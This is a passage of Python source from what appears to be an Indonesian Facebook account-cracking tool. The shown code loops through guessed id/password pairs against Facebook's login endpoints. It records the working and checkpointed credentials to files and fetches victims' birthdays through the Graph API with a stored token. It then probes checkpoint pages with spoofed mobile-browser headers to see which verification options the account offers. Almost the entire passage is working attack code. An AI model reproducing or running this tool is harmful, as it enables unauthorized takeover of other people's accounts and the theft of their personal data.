%s──> %s • %s%s'%(J,id,pw,ttl)) 1600 | except: 1601 | ttl = ('') 1602 | fmt = (' %s──> %s • %s%s'%(J,id,pw,ttl)) 1603 | if pilih_cek_opsi == True:check_option(id,pw,fmt) 1604 | else:print('\r %s──> %s • %s%s '%(J,id,pw,ttl)) 1605 | self.cp.append("%s=%s"%(id,pw)) 1606 | open(files_cp,"a+").write("%s=%s=%s\n"%(id,pw,ttl.replace(' • ',''))) 1607 | break 1608 | elif log['status'] == 'ok': 1609 | if sakera != 159369:pass 1610 | else: 1611 | files_ok = "OK/%s.json"%(tanggal) 1612 | try: 1613 | with requests.Session() as xyz: 1614 | cookie = {'cookie':open('login/cookie.json','r').read()} 1615 | url = ("https://graph.facebook.com/%s?fields=name,id,birthday&access_token=%s"%(id,open('login/token.json','r').read())) 1616 | req = xyz.get(url,cookies=cookie) 1617 | jso = json.loads(req.text) 1618 | ttt = jso["birthday"] 1619 | m,d,y = ttt.split("/") 1620 | m = bulan_ttl[m] 1621 | ttl = (' • %s %s %s'%(d,m,y)) 1622 | except:ttl = ('') 1623 | pok = ('\r %s──> %s • %s%s '%(H,id,pw,ttl)) 1624 | if pilih_cek_apk == True:cek_aplikasi(pok,cvt3(log["cookies"])) 1625 | else:print(pok) 1626 | self.ok.append("%s=%s"%(id,pw)) 1627 | open(files_ok,"a+").write("%s=%s=%s\n"%(id,pw,ttl.replace(' • ',''))) 1628 | break 1629 | else: 1630 | if sakara != 159375:print(CoY) 1631 | else:continue 1632 | self.lp += 1 1633 | loop = str(self.lp) 1634 | alls = str(len(self.sementara)) 1635 | jum_ok = str(len(self.ok)) 1636 | jum_cp = str(len(self.cp)) 1637 | Total_Waktu = str(datetime.now()-self.Mulai_Jalan).split('.')[0] 1638 | print(f'\r {J}[{A}{Total_Waktu}{J}] [{A}{loop}{P}/{A}{alls}{J}] [{P}OK{J}:{A}{jum_ok}{J}] [{P}CP{J}:{A}{jum_cp}{J}]{P} ', end='');sys.stdout.flush() 1639 | except Exception as e: 1640 | self.start_crack(id,list_pw) 1641 | 1642 | class check_option: 1643 | def __init__(self,id,pw,format): 1644 | self.id = id 1645 | self.pw = pw 1646 | self.out = format 1647 | self.tahap1() 1648 | def tahap1(self): 1649 | s= 0 1650 | data1 = {} 1651 | tamp = [] 1652 | ua = open('tool/useragent.json','r').read() 1653 | url_login = open('tool/url_login.json','r').read() 1654 | with requests.Session() as xyz: 1655 | try: 1656 | url1 = f'https://mbasic.facebook.com/login/device-based/password/?uid={self.id}&flow=login_no_pin&refsrc=deprecated&_rdr' 1657 | hed1 = {'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','accept-language': 'id-ID','cache-control': 'max-age=0','referer': f'https://{url_login}/login/device-based/password/?uid='+self.id+'&errorcode=1348092&next=https%3A%2F%2F{url_login}%3Flogin%3Fsave-device%2F&flow=login_no_pin&shbl=0&refsrc=deprecated&_rdr','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'same-origin','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent': ua} 1658 | req1 = xyz.get(url1,headers=hed1) 1659 | data = {'lsd' : re.search('name="lsd" value="(.*?)"',str(req1.text)).group(1),'jazoest' : re.search('name="jazoest" value="(.*?)"',str(req1.text)).group(1),'uid' : self.id,'pass' : self.pw,'next' : f'https://{url_login}/login/save-device/','flow' : 'login_no_pin','submit' : 'Log In'} 1660 | url2 = f'https://{url_login}/login/device-based/validate-password/?shbl=0' 1661 | hed2 = {'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','accept-language': 'id-ID','x-requested-with': 'mark.via.gp','cache-control': 'max-age=0','content-length': '159','content-type': 'application/x-www-form-urlencoded','origin': f'https://{url_login}','referer': f'https://{url_login}/login/device-based/password/?uid='+self.id+'&errorcode=1348092&next=https%3A%2F%2F{url_login}%2Flogin%2Fsave-device%2F&flow=login_no_pin&shbl=0&refsrc=deprecated&_rdr','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'same-origin','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent': ua} 1662 | exec = xyz.post(url2,data=data,headers=hed2,allow_redirects = False) 1663 | if "c_user" in xyz.cookies.get_dict(): 1664 | if "Akun Anda Dikunci" in exec.text:pass 1665 | else: 1666 | ubah = ' %s──> %s • %s%s '%(H,self.id,self.pw,self.ttl) 1667 | print('\r%s\n %s• %sAkun Tidak Checkpoint'%(ubah,H,P)) 1668 | elif "checkpoint" in xyz.cookies.get_dict(): 1669 | pars = par(exec.content,'html.parser') 1670 | ling = re.search('url=(.*?)" http',str(pars)).group(1) 1671 | getd = par(xyz.get(ling).content,'html.parser') 1672 | bos = getd.find('form',{'method':'post'}) 1673 | if 'approvals_code' in str(bos): pass 1674 | elif 'checkpointSubmitButton' in str(bos): 1675 | list_data1 = ['fb_dtsg','fb_dtsg','jazoest','submit[Continue]','nh'] 1676 | for x in bos('input'): 1677 | if x.get('name') in list_data1: 1678 | data1.update({x.get('name'):x.get('value')}) 1679 | exec2 = xyz.post('https://mbasic.facebook.com' + bos['action'],data=data1) 1680 | pars2 = par(exec2.content,'html.parser') 1681 | otp = re.findall("\(.*?)<\/title>",str(pars2)) 1682 | opsi = [y.text for y in pars2.find_all("option")] 1683 | if 'Lihat detail login yang ditampilkan. Ini Anda?' in otp: 1684 | ubah = ' %s──> %s • %s%s '%(H,self.id,self.pw) 1685 | print('\r%s\n %s• %sAkun Tap Yes'%(ubah,H,P)) 1686 | elif 'Masukkan tanggal lahir Anda' in opsi: 1687 | try: 1688 | tol = self.out.split('•')[2] 1689 | ubah = ' %s──> %s • %s •%s '%(H,self.id,self.pw,tol) 1690 | print('\r%s\n %s• %sTerdapat Opsi TTL'%(ubah,H,P)) 1691 | #self.ttl(pars2) 1692 | except Exception as e: 1693 | print('\r%s '%(self.out)) 1694 | else: 1695 | for z in opsi: 1696 | s += 1 1697 | tamp.append('\n %s%s%s. %s%s'%(A,str(s),P,A,z)) 1698 | pili = ('\r%s '%(self.out)) 1699 | print(pili+''.join(tamp)) 1700 | else:print('\r%s '%(self.out)) 1701 | except Exception as e: 1702 | print('\r%s '%(self.out)) 1703 | 1704 | def not_available(konten): 1705 | print('') 1706 | tamp_kesediaan = (f' {P2}Mohon Maaf, Fitur {konten} Belum Tersedia Untuk Saat Ini. Tunggu Update Selanjutnya Untuk Menggunakan Fitur-Fitur Yang Akan Datang. Terima Kasih.\n\n {M2}- Denventa -') 1707 | printer(Panel(tamp_kesediaan,title=f'{M2}[ {P2}Coming Soon {M2}]',title_align='center',subtitle=f'{M2}[ {P2}See You {M2}]',subtitle_align='center',width=54,padding=(1,4),style='#FF0000')) 1708 | input('\n\n %s[ %sKembali Ke Menu Awal %s] '%(H,P,H)) 1709 | tampilan_menu() 1710 | 1711 | if __name__ == '__main__': 1712 | resik() 1713 | tampilan_menu() 1714 | 1715 | # print('%s[%s•%s] %s'%(J,P,J,P)) 1716 | --------------------------------------------------------------------------------